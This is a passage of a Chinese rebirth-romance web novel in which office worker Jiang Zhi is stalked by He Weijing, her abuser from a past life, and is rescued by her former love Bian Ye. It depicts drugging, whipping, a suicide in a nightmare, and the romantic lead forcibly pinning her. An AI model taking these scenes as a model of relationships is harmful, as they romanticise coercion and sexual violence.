更何况,他印象里可没这么个绝色女人,她刚刚那双眼又是怒又是怕的,难不成她见过他,只是他不知道? 贺为京轻吐出一口气,看着那道逐渐远去的身影眯了眯眼。 有意思。 身后的包厢里有男人出来,看到他傻站着不动,走过去问:“怎么了三哥,不是去洗手间放水吗?怎么搁这儿站着?” 贺为京勾起唇角,“看见个很绝的女人。”他手指摩挲,似乎还能感受刚刚那股细腻的触感,“很久没看到这么有料的了。” “哪呢?” 男人顺着他的视线看过去,什么都没看到,又左右环顾,别说女人了,这条走廊上除了他们俩,就没个活物。 贺为京心情很好,抬起碰过姜栀的手指放在鼻下,轻轻嗅了下,“香。” “没想到小小盐城还有这么绝品的女人。”这趟还真是来对了。 男人流里流气地点烟,跟着他一道往洗手间走。 “三哥要是喜欢我给你搞来就是,咱搞点女人玩玩还不是小菜一碟,兄弟我可从来没失手过。”颇为自豪的模样。 贺为京看他一眼,笑得意味深长,“不用。” 他回忆起那双琥珀色的眼睛,清纯又欲,媚而不自知,勾得人心痒难耐,“这个跟别的不一样,有意思。我要慢慢钓。”【你现在阅读的是 】 50-60 第51章 第 51 章 姜栀到家时天已经很黑, 按开了玄关处的灯。 她换下鞋子看了眼墙上的钟。 九点五十。 收回视线,她趿拉着拖鞋走进去。 客厅连着卧室,空间不大。 盐城物价不算高, 但她租的房子不贵, 想存点钱早些买房子。这房子约莫五十多平, 老旧没有生气, 她刚来的时候花了不少时间打扫修缮, 买了点可视性比较高的物件布置。 姜栀熟练地从柜子里摸出解酒药, 从厨房里倒了杯昨天烧的水, 沉静地灌下。 腰靠着厨台,她握着空杯,再度回忆起那张脸,还有那些咄咄逼人的话语。 半天,顺了顺气息。 她放下杯子去浴室洗漱。 药效很快上来,姜栀结束后就窝到了床上。 脑袋浑浑噩噩。 她没什么精神, 也许是紧绷了许久, 这一放松困意就排山倒海般袭来。 昏蒙中,贺为京那张令她毛骨悚然的脸闯入视线,强硬而不容拒绝。 “长得是真美啊。”他看着床上因药物不能动弹的女人,肆无忌惮地抚摸她脸颊下巴,逐渐去往禁忌之地。 “别……碰我!”姜栀没力气,咬着牙才怒出这么一句。 但实在轻软,非但没有恐吓威逼到贺为京,反倒更加令他心痒难耐。 他停下手指, 笑得阴暗猥琐, “我就喜欢你这种有脾气的美女。” 沙发上摆满了各种工具和玩具,他苦恼地挑选出一个短鞭, 扯了扯,很结实。 “你得一直有脾气,不然我就玩不爽了。”话落,他一鞭子抽在姜栀身上,剧痛袭来,她疼地皱紧眉头,愤恨和恐惧在心口翻涌,却没办法逃。 “啧——”贺为京看到她白皙的手臂上迅速显现的鞭痕,眼底兴奋涌起,“别这么楚楚可怜地看着我,我可不会怜香惜玉。” 说完又是一鞭子。 姜栀被困在床上,硬生生被抽打得浑身都是痕迹,她紧咬着牙关,却还是被痛到双目赤红,泪渍在眼底打转。 贺为京兴奋劲儿过去,把鞭子往地上一丢,“你在这儿乖乖等我,我去洗个澡就来伺候你。” 他满脸舒爽的笑意,转身就进了浴室。 姜栀用力咬破了舌头,血腥味在嘴里迅速蔓延,勉强争来一丝力气,咬牙往床外侧爬。 门就在外面,明明几步路就可以到,她却连下床都出了一身汗。 浴室里的水声忽然停下,她眼皮子一跳,巨大的恐慌笼罩下来。 门打开,贺为京从里面出来。 看到费力贴着墙,脸色苍白的姜栀先是一愣,随后低笑,“倒还挺有本事,可惜了。”他勾唇,“我这可是高级货,别说你了,就是个壮汉也得蒙。” 他浑不在意的去往沙发,又开始挑选工具。 姜栀捏紧了掌心,身后就是落地窗。 十四层的高度,跳下去必死无疑。 她还年轻,还想好好活着,可与其被这样的畜生糟蹋,浑浑噩噩度过余生,不如一了百了。 “是吗。” 她眼底恨意与讽刺交织,最终被向死的解脱覆盖。 贺为京挑眉回头,却只看到一抹坠落的残影。 “卧槽!”他瞪大了眼睛冲过去。 巨大的离心力和高空坠落感真实又汹涌地席卷而来,姜栀被猛地惊醒,胸口剧烈起伏,外边泛白的天际光透过窗帘缝隙溜进来,屋子里不算很黑。 她看着天花板,背后全是冷汗。 半晌,缓过来一些才从床上起来。 看了眼手机,才五点多。 距离上班时间还早,但她眼下也睡不着了。 姜栀喘了口气,洗漱好咬了片面包就把电脑打开,翻动着昨晚讲述的方案。 挑出了几个点,重新优化。 几个小时眨眼就过去,她到公司时已经大致性地弄得差不多了。 姜栀像往常那样跟同事们打招呼,“早上好。” 同事们一个个萎靡不振,抬手随意应了下。 “怎么了?”她不解地问。 还不等同个团队的同事回答,隔壁组就有人光明正大地阴阳她,“都这时候了还装傻充愣呢,该不是把人都当傻子吧。” 这个叫叶霜乔的,从她进公司开始就跟她不对付,总认为她抢她们组的业绩,自此哪里都要挖苦她一下。 姜栀意识到她指的是什么,有些愧疚地看向同事们,“对不起。” “对不起能干什么,对不起能当饭吃吗?”叶霜乔喟叹一声,“我还以为你这张脸无往不利,什么男人都能拿下呢,没想到居然也有不好使的一天。” 她皱眉,想说点什么,可这个合作项目没谈成确实有她的私人原因在,连开口反驳都说不出有力的话语。 “怎么,被我说中了?”叶霜乔看她吃瘪的模样,别提多高兴了,还假模假样地替她着想,“你说说你,芯耀的合作哎,老板得多器重你才把这个项目交给你去谈,这些人没日没夜干了这么久,最后却黄了,你怎么交代啊?” 团队里的老人不是没有意见,但他们也不能说什么,毕竟姜栀也很辛苦。 但人非草木,还是会生出埋怨的心思。 老板就该找个更有经验的人去,而不是一个入职堪堪两年的小女生。 姜栀吸了口气朝她走近。 “你干嘛?”叶霜乔一脸警惕,“这可是公司。” 她眉眼始终沉静,“有空在这火上浇油,不如赶紧去做方案,要我提醒你吗,你已经丢掉两个合作了。” 叶霜乔脸色一白,梗着脖子不服,“那、那是因为对方公司出尔反尔,跟我有什么关系。” 她温和莞尔,“你可以继续丢。” 说完,她转身离开,去往林主管的办公室。 叶霜乔看着她的背影,气得咬牙切齿,这都第几次了,怎么每次自己都说不过她! 办公室内,林主管听完姜栀的话,不由轻叹,“我知道你责任心强,但合作这种事确实也是需要讲缘分的,既然芯耀没这个想法,你就是去了也是自讨苦吃。” “我知道。” 姜栀眼睫微垂,“我还是想再试一次,大家努力了这么久,他们对这个合作都很看重。”能拿下,这个年大家都会好过一些。 林主管知道她虽然看着温温柔柔的,但骨子里很倔,“那我给你批假,你去吧。” “谢谢主管。” 姜栀带上电脑直奔芯耀。 盐城是它的分部,规模中等,坐立在盐城中心,一幢大楼屹立威严,外层透着冰冷的金属感。 她微微仰头,大楼外挂着的“芯耀”二字被阳光照射着,反出刺目的光。 去前台表明了意思后,前台微笑着拒绝,“不好意思女士,没有预约边总不见客。” “我们昨晚刚见过,我是来送修改方案的。” 前台如同人机,“不好意思女士,需要提前预约哦。” 姜栀看了眼需要刷卡的入口,只能抱着电脑坐在大厅里的沙发上等。 早上优化得不算细致,如今还不知道什么时候可以见到人,她干脆打开电脑,继续细化方案。 顶层办公室里,灰白冷性色系的装修环境里,边野懒懒靠在真皮软椅上,双目阖着,眼底有些青黑,听着一旁的秘书周然汇报今天的行程。 结束后,周然关上文件夹,欲言又止。 没听到离开的脚步声,他缓缓睁眼,瞳眸漆黑如同深渊,“还有事?” 她犹豫道:“昨天智启的姜小姐来了,在楼下等您,没有预约进不来,您看?”她是意外知道的,小群里八卦大厅里来了个堪比女明星的漂亮女人,没想到竟然就是昨晚在饭桌上见过的那位。 边野目光凛然两分,脸上不见情绪波动,“她爱等就让她等。” 周然没敢再说什么,为姜栀惋惜了一把,快速出去。 办公室里重归安静。 边野抬手按了按眉头,疲惫感一层一层的卷上来,身体已经很劳累,但脑子却依旧清醒。昨晚凌晨三点才勉强入睡,早上五点多醒来后无论如何再也睡不着。 手机响起。 他看了眼,是Dr.Vale打来的。他在国外失眠时的固定看诊医生,会定期寻访他的病情。 边野接通,开了免提放回桌上。 “最近睡眠状况怎么样?跟之前相比有没有好点?”Vale中文还算不错,只比他大五岁,看病看久了,处得如同朋友。 他嗓音倦怠:“入睡困难,深度睡眠时间短。劳拉西泮快用完了,可以再开点。” Vale震惊,“这可是上个月才给你开的,你是不是没听我的话?” 边野没说话。 对面传来一阵叹息,“这个药虽然能助眠,但长期服用,会有依赖性,你不能吃这么凶,身体要紧。” “嗯。” Vale知道劝不动他,只好缓和语气,“你是不是最近又受什么刺激了?尽量避免去会刺激心脑的地方。” 边野黑眸微动,那双琥珀色的清透眼瞳在脑子里一闪而过,他眉头沉下来,“没。” “那就是还放不下过往了,这么多年了野,何必这么折磨自己呢?”Vale知道他曾有个十分心爱的女孩,只可惜不得圆满,“心结只会越藏越深的野。” “嗯。”边野看着窗外雪亮的阳光,“没事就挂了。” 掐了电话,他起身去开会。 一天连着几个会,他像是感觉不到累似的,比永动机还能转。 最开完会,边野又接连见了几个EDA供应商,仍旧不满意。人走后,周然规规矩矩汇报:“这些供应商之后,还有几个不出名的,您看要见吗?” 边野眼皮都没掀,“嗯,你看着安排。” “好。” 周然记录下来,看了眼手表,已经到下班点了,“边总。” “嗯?” “那位……还没走。” 边野瞥了她一眼,“你这么关心她?要不你出去陪她?” 周然吸了口气,一脸微笑,“我突然想起来还有工作没完成,这就去加班。” 这个点,下班的人一波又一波地出来,姜栀在这等了一个白天,方案已经优化好,只差芯耀过目。 她坐在大厅里,盯着出口的人群。 生怕错过。 半小时后,人走得差不多了,她还是没看到熟悉的身影,忍不住去前台问:“您好,我想问问边总走了吗?” 前台依旧人机,“不好意思女士,不方便透露。” 她失望地垂落眼睫。 转过身的刹那,一道黑影自身前擦过。 皮鞋落地的稳重声落在耳里,她无意识看了眼,边野高挺的背影已经逐渐远去,眨眼的工夫就快到大门。姜栀愣了下,反应过来后赶紧跟上去。 “边总!” 她在后面抱着电脑朝他小跑过去,边野像没听见似的,出了大门径直上车。 等她赶出来,车都已经开走了。 姜栀连忙拦了出租车去追。 出租车最后停在英澜会所。 装潢奢华高级,门口的西装侍应生站得笔挺。 不出意外,姜栀又被拦在了外面。 和在芯耀不同,这一次她连坐的地方都没有。 她抱着电脑已经做好了以小时为单位的等待时长,但没想到不过片刻,有侍应生过来带她入内。 包厢门推开的那一刻,里面五彩的镭射光束像丝绸一般转换着映照在卡座里的男人身上。 昏暗斑斓的环境里,边野姿态散漫慵懒,深邃的眉目被削去几分冷意,一张脸骨感鲜明,透着攻击性的同时又带着不羁。 黑色衬衫领口解开两颗扣子,能窥见些薄肌,凸起的喉结性感勾人。收紧的窄腰之下,是一双笔直修长的腿。 周边围着几个浓妆艳抹的女人,各个曲线曼妙。 他从里面敲出一根烟,紫裙女人很有眼色地给他递火。 边野掀起眼皮,幽黑狭长的眸子透着戏谑,“你来。” 紫裙女人脸色僵了下,不甘心地把打火机推过去。 姜栀没犹豫,把电脑放在一边,拿过擦亮火苗,用手笼着朝他靠近。 他眉眼讽刺,“离这么远怕我吃了你?” 她抿了抿嘴,又靠近了些。 边野的目光在她脸上扫过,一如既往的小巧精致,哪怕不施粉黛也纯得勾人。 见他始终不点火,姜栀不解地喊他,“边总?” 他神色流转,黑眸凛然,往后一靠,把手里的烟随手丢进垃圾桶,“放不下姿态也敢来这种地方?” 嗓音犀利,不留情面。 周围的女人幸灾乐祸地盯着她。 姜栀愣住,手指微蜷,熄了火后认真道:“我是来请边总再看看我们公司的方案,优化了细节,还请边总给个机会。” 他黑眸戏谑中带着讥讽,“姜小姐是听不懂我昨天说的话?” 她僵在原地,片刻后垂下眼睫,声音很低,“听得懂,我只是不甘心。” “不甘心?” 边野像是听到了什么笑话,眸如鹰隼,“有一天这种话也会从你嘴里说出来。” 姜栀心口突然刺痛了下。 “不是要我给你机会?”他身形散漫地靠在沙发上。 她很快反应过来,赶紧从包里拿出电脑放在桌上,半蹲在旁边认真演示。边野周围的女人都不由皱了皱眉,似乎觉得她的存在把这里空气都影响了。 一轮演示结束,姜栀抬眸,却发现他双目阖着,根本没有看电脑。 她试探道:“边总,您看有没有什么问题需要我解决?” 边野恍若未闻。 “边总?”她声音拔高了几分。 男人这才缓缓掀起眼皮,瞳眸漆黑一片,看见她直勾勾盯着自己,瞥了眼亮着的电脑屏幕,“大点声。” 然后再度闭目。 姜栀低低吸了口气,只好拔高了些声音,重新又演示一遍。 演示完,他依旧是刚刚那副模样。 “边总?”她拿不准主意。 边野这回眼睛都没睁开,“太啰嗦,讲重点。” 姜栀终于意识到,边野并没想要听她说什么,哪怕她文不对题,他也不会说一个字。 他在报复她。 她认命一般关上电脑,“不知道我怎么样做,可以让边总消气。” 边野应声睁眼,看到她平静的面色,嘴角勾起一抹讥讽的弧度,“这就忍不了了?” “我没有这个意思。”只是觉得他如果一直这样排斥她,不管她给出多完美的解决方案都不会被他接受。 边野结实宽阔的背从沙发上离开,他一手搭在膝盖上,目光细究,“我倒是好奇,什么风把未来的白少夫人吹到这儿来,还如此卖命?” “怎么,没抓住白司裴这把金钥匙吗?” 姜栀眼睫轻颤,低着头,说不出话来。 边野脸色阴沉冷厉,舌尖抵着牙关。 在他面前还不忘表演一出旧情难忘的戏码。 那些被狠绝抛弃的过往像刀子一样锐利地刮在他身上,怒意自心底腾窜而起,他攥住那节纤细的腕骨,一把将人从地上强行拽起。 猝不及防的一阵猛劲,姜栀还没反应过来就被拉得踉跄站不稳,“你要干什么!”她力气不敌边野,哪怕使足了劲,还是挣不脱。 边野步子没停,瞳眸锋锐,“你不是什么都能做吗?拉得下去脸还要贞节牌坊?” 她被大力拉进内室,重重摔在床上,眼底的惊慌瞬间浮起,“我不是——” 话还没说完,他已经压了上来,膝盖粗暴地抵开她双腿,眼底透着点疯,一把攥住她乱动的双手。 “不是什么,你不就是这样的人吗?” 边野黑眸浓稠如墨,怒意讽刺和疯魔般的鲁莽翻江倒海朝她扑去,狠狠咬住她脖颈。 他动作粗野凶猛。 那些失眠的每一个日夜,被俘困压抑了这么多年的不得,在这一刻杂乱无章地倾泻而出。 可是不行,他胸腔里的火焰燎原,烧得他筋脉尽断,越汲取越靠近,越要将他烧毁。 “不要,边野!” 巨大的恐慌漫无边际笼罩而来,这一刻,前世被贺为京求困鞭打的惨烈回忆在脑海里汹涌,她手脚冰凉,费力挣扎,却根本挣不过他。 男人疾喘的气息在身侧剧烈起伏。 “你别这样,我害怕……” 她抵抗不过,哽咽得声音委屈至极,无助又惶恐,浑身都在发颤。 察觉到她脆弱的底层情绪,边野心口狠狠揪痛了下,喉口涩意蔓延,滚了滚却压不下半分。 他稍抬头,恰好看到一滴晶莹的泪珠从她眼角滑落,滚过鼻梁。她脑袋偏着另一边,身体发抖,“我真的害怕。” 所有的不清醒在这一瞬间烟消云散。 边野呼吸轻滞,心脏刺疼,懊恼的情绪自心底一闪而过。 “晦气。”他冷脸甩开她的手,利落从床上起身,没再看她一眼,身上衬衫凌乱。 扯了扯领口,边野压下那股躁意,平缓着气息走到落地窗前站定,满目阴冷。 “滚,别让我再见到你。” 气氛僵硬,周遭温度似乎骤降。 姜栀白着一张脸,失魂落魄地从床上起来,有些局促地拉好衣服,擦掉脸上的泪。 “对不起……” 她低着头,嗓音微哑,胸口闷堵得厉害。 意料之中的得不到回应,姜栀几分狼狈地推门出去。 第52章 第 52 章 次日。 姜栀照常去公司, 做出了最后的努力,她知道智启与芯耀的合作没戏了。 刚到工位,碰上叶霜乔从茶水间出来, 慢条斯理搅动着手里的咖啡, “哟, 这不是我们的姜大美女吗, 昨天不甘颜面扫地地请假出去谈合作, 谈出什么东西来了?” 她垂着眼睫收拾桌面上的东西, 没搭理。 “呀——” 叶霜乔故作惊讶地感叹, “该不会什么都没谈下来吧?” 姜栀整理的动作微微一顿。 “昨天那架势搞得要立军令状似的,我还以为这张脸真无往不利呢,还不是丢了合作?以后少装点清高,不然这脸被打得啪啪响,多疼啊。” 她幸灾乐祸地嗤笑一声后往工位走去。 团队里有同事没好气地白她一眼,“这么大个合作本来就很难谈好吗, 咱们一小公司, 竞争不过也很正常,就算是老板亲自去也未必能谈成。” 叶霜乔无所谓地挑眉,“皇上不急太监急,她都还没说话呢,你说什么?” “你!”同事说不过她,脸色难看。 姜栀目光平静地看她,“下月就要评级了,这话你敢当着主管的面说吗?” 大家都知道, 林主管最讨厌这种歪风邪气, 叶霜乔在主管面前乖得跟兔子似的。 “呵,少威胁我。”她一边心虚一边冷脸, “被我说中了没办法反驳就想要告状是吧?这么玩不起?” 姜栀莞尔,声音温和:“既然你提出来了,那我不妨考虑下。” 叶霜乔顿时气得脸都绿了。 “姜栀!” 门口忽然有人喊她,她应声看过去,是前台小妹,手里抱着一大束紫玫瑰,“有人给你送花!” 姜栀愣了下,这么多目光注视下不好不接,走过去顺便问了句:“谁送的?” “不知道,是花店人送来的。” 前台小妹把紫玫瑰递给她。 姜栀看着精致的装束,并没看见卡片一类的东西,眉头蹙了下。 “哇!好漂亮的花啊!” “这一看就是中心区那家的包装,她家花都可贵了,这一大把肯定得好几千呢,真舍得下血本啊。” “一定是某个追求者送的。” 同事们纷纷八卦。 叶霜乔冷笑,“要我说你还上什么班啊,每个月挣这点钱都配不上你这张脸,不如找个男人养着好了,躺着就能数钱。” 这话属实有点难听。 姜栀的视线从紫玫瑰里移开,声音虽平淡却透着点冷,“如果你有这种喜好,那我不妨给你牵线搭桥,老的少的你喜欢哪种?” “你胡说八道什么,恶不恶心!” 姜栀冷静看她,“你既然知道,那就管好自己的嘴,不然下次,我不确定我会做出什么。” 叶霜乔有一瞬间被吓住,仿佛她知道自己很多把柄,只是捏着没放出来。 装货。 她冷哼一声,不再挤兑。 姜栀把紫玫瑰送给了刚来的实习生小朋友,“你喜欢就带回去吧。” “谢谢知知姐!” 没了跟芯耀的合作,姜栀只能尽快把目标投向别家。 整理了一上午资料,她捏了捏泛酸的脖子。 手机忽然响起。 她瞥了眼,是个陌生电话,顺手掐断。 这年头骗子太多了。 这通陌生电话锲而不舍,被挂了就再打。 一直连续到第五六次的时候,姜栀犹豫了下,想着对面也许不是骗子,这么坚持是不是有什么着急的事。 她按下接通放在耳边。 对面没有声音。 姜栀拿过手机瞥了眼,还在通话中。 “您好,哪位?”她小心询问。 透过电波,她听到一声短促的笑。 似乎有点熟悉。 “找你倒是困难。我送你的花喜欢吗?” 慵懒调侃的语气。 心跳骤然一坠,她猛地掐断通话把手机反扣在桌上。 被支配的恐惧像密密麻麻的爬虫一样裹满全身,姜栀脸色发白,呼吸有些急促。 贺为京。 哪怕她化成灰也记得他的声音。 姜栀紧盯着手机,脑子里凌乱如麻。 除了那晚不慎撞到他之后,她根本没再接触过他,他怎么会有自己的号码? 她下意识去看叶霜乔,这个在盐城唯一与她不对付的人。 不对。 他那样挥金如土的恶鬼,别说找她的联系方式,她的公司地址,即便是她住哪里也能查到。 疯子。 彻头彻尾的疯子。 姜栀搭在桌上的手止不住发颤,浑身冰凉。 她手掌紧握成拳,一遍遍安慰自己不要怕。 稍微缓过来一些后,姜栀拿起手机,把那个号码拉黑删除。 这通电话之后,这些天上下班,姜栀一路都很注意。 不管是乘车还是步行的路段,她始终警惕。 心神不宁了近一周,身边没再出现与贺为京相关的事与物,她紧绷的神经舒缓不少,潜藏的疲倦逐渐漫上来。 周五临下班前,林主管找了她一趟,让她跟进下公司和威顿的单子,说是老板亲自谈的,只剩下一些细节还没敲定,让她去,业绩算她一半。 姜栀虽然觉得这个流程略显奇怪,也没懂为什么会叫她去,但还是点头应下。 她现在距离买房的目标还差很多。 林主管给了她一个地址,去之前,姜栀犹豫了下,从工位的柜子里拿出了一把水果刀放在包里。 如果像上次那样不幸在餐厅外部遇到贺为京,至少有一点底气。 到目的地时,姜栀乘坐电梯上楼。 甲方包了个包厢。 她被侍应生带进去时,桌上已经摆好了新鲜美味的菜。 要跟她商谈的甲方是个看起来比较年轻的男人,至少从背影上看是这样。 男人西装革履地站在窗边,背对着她。 姜栀礼貌道:“您好,我是智启的小姜,过来跟您商谈下合作项目的细节,请问您贵姓?” 她声音温软轻柔,听得人心旌荡漾。 “您好?” 见人一动不动,姜栀又出声问候了下。 男人总算回过头,一双丹凤眼扬起,透着几分调笑意味。 目光鲜明地自上而下打量她,像在看一件待价而沽的商品。 “姜小姐,又见面了。” 他声音里都含着笑,勾起的嘴角带着满意。 贺……为京?! 姜栀瞳孔一震,不可置信地看着他。压抑了这么多天的不宁在此刻翻涌而来,她浑身汗毛直立,血液里的每一个细胞都在发颤。 逃。 快逃! 脑子里的声音在嘶吼,姜栀慌乱地朝包厢门跑过去。 可门像被焊死,怎么都打不开。 那一瞬间,她仿佛回到了前世,全身无力地瘫在床上,明明门就在眼前,可生的希望那样渺茫。 背后有脚步声传来。 如同敲响的丧钟,每一步都震在她耳边,令她头皮发麻,掌心也渗出冷汗。 “姜小姐见过我吗?” 听到他的声音,姜栀如临大敌,赶紧面向他,手按在挎包上,“别过来!” 贺为京当真就没再靠近。 她眼底的惊恐无措和对他的极度警惕都让他觉得莫名,甚至有些有趣。 他无奈地挑眉,“虽然我不明白姜小姐为什么对我这么防备,但我今天只是想请你吃个饭,就这么简单。” 贺为京绅士地拉开椅子,“不必这么紧张,我不吃人。” “我不跟你吃饭,你让人把门打开。” 她一刻都待不下去,喉咙里的抖意浮出。 姜栀一双眼大而清透,秀鼻小巧挺翘,漂亮中带着清纯,微微上扬的眼尾又有些媚意。眼下怕他怕得脸色惨白如纸,更是惹人怜爱。 贺为京喉结滚了下,小腹发热。 “姜小姐这么绝情?”他调侃一笑,“男欢女爱,我只是想追求你,你不接我电话,我只能这么请你过来。菜都上齐了,我不喜欢浪费哦。” 他虽然笑着,眼底却透着势在必得。 “陪我把这顿饭吃了,我自然放你回去,不然和智启的合作……” 姜栀眼睫颤动了下,看了眼桌上的菜。 透骨的冷意与恶寒席卷而来。 前世她就是被他以吃最后一顿饭就再不来纠缠她的话骗到饭桌上,被他药倒,醒来后就已经在酒店的床上。 “这份工作哪怕不要了,我也不会跟你吃这顿饭。” 她着急地用力去扯门把手,却依旧纹丝不动。 贺为京不满地“啧”了声。 他缓步向前,“我本还想慢慢来,没想到你是个硬骨头,这么难啃。” “你别过来!” 姜栀慌得厉害,急促地退到桌子对面,与他保持着距离。手从包里翻出那把水果刀对准他,强压着恐惧带来的颤抖。 前世的桩桩件件里,唯独贺为京这个人她无法解决。 只能躲。 她已经躲到一千多公里外的盐城,也只是想好好活着,过平静的日子,为什么连这样的愿望都实现得这么困难。 贺为京有点意外她带了刀,嗤笑一声,“带刀干什么,想杀我?” “那可能有点难。” 男人毫不犹豫地朝她逼近,姜栀被逼到墙角,手里的刀都快要拿不稳,双眼因极度恐惧而泛红。 贺为京根本没放在眼里,不耐烦地去抓她。 姜栀咬着牙握紧手里唯一可以自保的工具,拼了命地朝他划过去。 疯子一般的没有章法,但猛烈。 杀了他,杀了他就再也不用怕了。 贺为京拧眉,稍微避了下就朝她胳膊抓去。 刚得手就被她的刀锋利地划到。 “草!” 他吃痛,猛地松手。 姜栀被那一秒钟的肌肤触碰激到浑身恶寒战栗,慌不择路地远离他,却因为太紧张绊到椅子腿,重重撞向包厢门。 水果刀被震出去好远,“咣当”一声掉在地上。 一门之隔的走廊上,边野被一个供应商恭请着往前走。 骤然听到这声音,他步子顿了下,偏头看了眼。 供应商紧跟着停下,随着他目光看向这间包厢,不太明白,瞥了眼包厢外亮着的壁灯,稍作提醒:“边总,这间有人了,咱们的还在前面。” 边野凝了两秒收回视线,没再关注,跟着他继续往前。 包厢内。 姜栀本就纤瘦,这样猛烈一撞,骨头都要碎了。 浑身都痛,连爬起来都吃力。 贺为京瞧见她皱紧的漂亮脸蛋,不由感慨:“你看看,把自己弄疼了吧。” 看他一步步靠近,姜栀咬牙从地上往前爬,但还是敌不过他的速度。 贺为京紧攥着她的手,伸手抚摸她头发,猛然往后一拽。 刺疼剧烈袭来,姜栀头皮痛得发麻,眼底溢出生理性泪水。 “这顿饭你吃也得吃,不吃也得——” 伪装了许久的绅士终于在这一刻完全暴露出来,他眼底有痴狂和得意,可话还没说完,包厢被人猛地踹开,发出巨大声响。 贺为京眉头一皱,人都还没看清,就被飞来一脚踹中胸口。 像被猛烈击打的保龄球,撞到桌腿,骨头“咔”地响了一下,桌子都移位了几分。 他痛得脸色铁青,“操!哪个鳖孙敢踹你老子!” 速度太快,姜栀还没反应过来,一只骨节分明的手闯入眼底,虎口一颗标志性棕痣。 紧接着,耳边响起熟悉而温沉的嗓音:“能起吗?” 她眼睫颤了下,下意识想躲。 这么狼狈的模样不能让他看见…… 姜栀咬了牙想自己起来,可是好疼。 疼得她倒吸气。 借着他的力道爬起来,姜栀迅速侧身。 可他还是一眼瞥见。 边野眉头拧了下。 刚进来时他只看到个背影,并不知道会是她。 扫了眼她后背,露出的脊骨泛红,头发凌乱松动,衣服上沾了不少灰渍。 不远处还有把水果刀。 想到刚刚听见的剧烈撞门声,边野脸色阴沉下去,心底的怒意如同被浇了油的干柴,一点就着。 他转眼看向地上扶着腰,龇牙咧嘴起来的男人,眼底一片戾气。 “你他妈给我等着——” 贺为京咬牙切齿,眼睛瞪如铜铃,却在看到边野的一瞬间偃旗息鼓。 边家虽然在宿城,与贺家相隔一城,但边家的名气他有所耳闻,尤其是这个阴晴不定的独子。 边家的势力不是他能抵抗的。 他硬生生咽下这口气,顽劣一笑,“哟,这不是小边总吗?真是大水冲了龙王庙,一家人不认识一家人了。” 边野并不知道这么一号人,但他穿戴不菲,只当是盐城哪家的公子哥。 他眉目阴冷,走近后伸手拍着他的脸,高位者的压迫感十足,令人呼吸都小心翼翼,“你胆子肥了?什么人都敢动?” 贺为京什么时候受过这种屈辱,但这会儿不能生事,再生事他们家的老头子必定要停了他所有经济来源。 “小边总说的什么话,我就是请她吃个饭。” 他瞥了眼角落里的姜栀,笑了笑,“小边总要是喜欢,我贺三自当让给你,哪能跟你抢。” “贺三。” 边野一字一顿,眼底冷意泛起,又给了他一脚。 这一脚踹在腿上,又快又狠。 贺为京吃痛往地上一跪,膝盖“咚”的一声闷响,气得他差点骂出声。 边野低眸睨着他,周身寒意四起,黑眸如鹰隼般犀利锋锐,能将他撕下一块生肉来。 “以后再敢打她的主意,我让你后悔活在这个世上。” 姜栀呆愣地看着他。 好像他们之间没有经历过那样决裂的时刻,他像从前那样坚定地站在她面前,为她挡风遮雨。 鼻子微微泛酸,她垂眼挡住被泪模糊的视线。 忽的,手腕一重。 姜栀看过去,骨节分明的手掌正握着她腕骨,皮肤之下是隐隐的青色血管。 她顺着他的手抬眼,刚看到那张棱角分明的脸,就被他不由分说地带出去。 两人很快离开包厢。 贺为京脸上伪装的恭意瞬间散去,脸色铁青,一拳狠狠砸在地上。 操! 从小到大他爹都没让他受过这种屈辱! 边野个高腿长,人走得快,姜栀要小碎步跑着才能跟上他。 远远离开那间包厢,她试探出声:“能不能慢点……” 手腕好疼,身上也疼。 边野步子一顿,松了手,但脸上的表情不太好看。 眉眼沉邃地盯着她,敏锐捕捉到她脸上一闪而过吃痛之色,目光下移,她手腕红痕明显,小臂上还有些青紫。 对贺为京的怒意在心底火烧火燎。 “疼不知道说?” 他脸色更加凛冽,黑眸幽沉如不见底的深渊,像要将人牢牢吸进去。 姜栀抿了抿唇,低声道:“我不想麻烦你。” 当年她那样过分地对他,他今天却仍旧愿意解救她。今天如果不是他,落在贺为京手里的后果她不敢想象。 这就够了。 她这样的人,遇到困难,会想要退缩,遇到真心喜欢却没办法走下去的人,哪怕选择伤害彼此也不愿意风险降落在对方身上。 她很坏,当年就没有顾及过他的意愿。 边野冷笑出声,他比她高许多,此刻低眸看她。 她垂着眼睫低低说话的模样就像个毫无脾气的沙包,谁都可以来打上一拳。 不需要代价,就能发泄。 一个男人把一个漂亮女人锁在包厢里,会是单纯吃饭那么简单? 她到底懂不懂怎么保护自己? 他从学生时代就拿命护着的人,还以为那样坚决地离开他跟着白司裴以后会过得不错,现在差点连自己清白都护不住。 边野恼火地盯着她,声音更冷了,“是不想麻烦我,还是你也乐在其中?” “你知不知道贺三是什么样的人?” 一个在B市世家圈子里就名声恶臭的纨绔,玩女人玩出人命都不止一次,落到他手里不用想都知道什么滋味。 姜栀听出他切齿的怒意,却没什么办法安抚。 这话虽然不好听,可她能明白他该是气急了。 “我知道。” 她前世就知道,噩梦重现的恐怖没人比她更了解。 “公司的合作没敲定,让我来跟甲方商议细节,我没想到他是甲方。”如果知道,哪怕拿刀架在她脖子上,她也不会来面对这样的恶鬼。 所幸,她带了把水果刀,虽没什么大用,可好歹为她挣得了喘息的时机。 边野拧眉,躁意在心底翻滚。 无数想要斥责数落的话最后都卡在喉咙里。 几不可闻地深吸了口气,他面色沉淡下来,声音也恢复平静,“家在哪?” 姜栀愣了下,掀起眼眸,一时没有说话。 “不说话是想这样回去,在路上引起别人的注意吗?” 她模样乖顺地报了地址。 边野敛眸,转身先一步走。 她默不作声跟上,走了一段才发现他步子没有之前迈得那么大了。 姜栀不由得回想起那天在会所内室里的情景。 [滚,别让我再见到你。] 那样冷漠充斥着戾气的言语在脑海里响起,她悄无声息地抬眸看他。眉眼锋锐冷厉,像是压着什么情绪。 所以……今天愿意出手,愿意送她回家,是不是也没有那么厌她恨她了?- 到家楼下时,边野看见这栋老旧的楼,痕迹斑驳,楼下设施不少破损生锈,照映的路灯如同信号连接不良,忽闪忽闪的。 他眉头微拧。 打量的同时,脸色微沉,似乎没想到她就住在这种地方。 比在边家时差远了。 姜栀在前面带路,并没有看见他的表情,直到开了玄关的灯,回头才发现人在外面,脸色不是很好看。 以为他嫌弃,她温声道:“家里每天都有打扫的,你……要进来吗?” 边野站在门口已经能看清她客厅的部分模样,虽然外面老旧,但里面布置得还算温馨,看得过去,就是小了点。 “方便?” 姜栀点点头,“嗯,你进来喝杯水吧。” 门关上,姜栀给他拿了自己的拖鞋,似乎又觉得太小了,有些尴尬,“你直接进来吧。” 